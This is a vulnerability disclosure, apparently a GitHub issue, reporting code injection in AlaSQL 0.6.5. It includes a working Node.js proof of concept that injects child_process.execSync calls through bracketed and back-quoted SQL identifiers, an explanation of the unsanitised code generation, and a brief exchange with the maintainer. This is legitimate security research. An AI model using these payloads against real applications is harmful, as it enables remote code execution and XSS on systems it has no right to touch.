Code Injection Vulnerability During Processing Literal

Hi, I found a potential code injection vulnerability in the latest version (0.6.5) of AlaSQL.

Proof of Concept

Browser

http://jsfiddle.net/msoc7kL8/

Node.js

const alasql = require('alasql');

const genPayload = command => `
new Function(
    'return this.process.mainModule.require'
)()('child_process').execSync(${JSON.stringify(command)})
`;


res = alasql(
    // Initialize the database
    'CREATE table i_am_a_table;' +
    `INSERT INTO i_am_a_table VALUES (1337);` +

    // Code injection in four different ways
    `UPDATE i_am_a_table SET [0'+${genPayload(">&2 echo UPDATE pwned $(whoami)")}+']=42;` +
    `SELECT * from i_am_a_table where whatever=['+${genPayload(">&2 echo SELECT pwned $(whoami)")}+'];` +
    `SELECT \`'+${genPayload(">&2 echo SELECT pwned again, back-quote works too. $(whoami)")}+'\` from i_am_a_table where 1;` +
    `SELECT [whatever||${genPayload('>&2 echo calling function pwned')}||]('whatever');`
);

Description

AlaSQL doesn’t restrict the characters in square brackets [ ] or back-quote ` by design, that’s fine. But when we compile the SQL query to JavaScript code, those strings are concatenation into the generated JavaScript directly without any sanitization or escape, which can cause a code injection vulnerability.

For example, in the UPDATE PoC for browser, we can reference to the following code: https://github.com/agershun/alasql/blob/75846cfb85f717c70e2a6f316303b2881febd81a/src/74update.js#L58-L62

In this case, the col.column.columnid is 0'+alert("UPDATE pwned")+', and this string are directly concat into variable s in line 59. After that, the variable s are being appended to the functionBody argument for that new Function in line 62. Now, the alert statement will be execute when executing this SQL query.

Summary

Through this code injection vulnerability, if an attacker can control the SQL query (no matter it’s a by design feature or via SQL injection), then it might lead to a XSS in browser, or even RCE (remote code execution) in node.js application.

[mathiasrw]

Found it!

[splitline]

Hm, it’s weird, I think I sent to the correct email.

I’ve sent the PoC with my another email (splitline.cs09g [at] nctu.edu.tw) to you again, please check.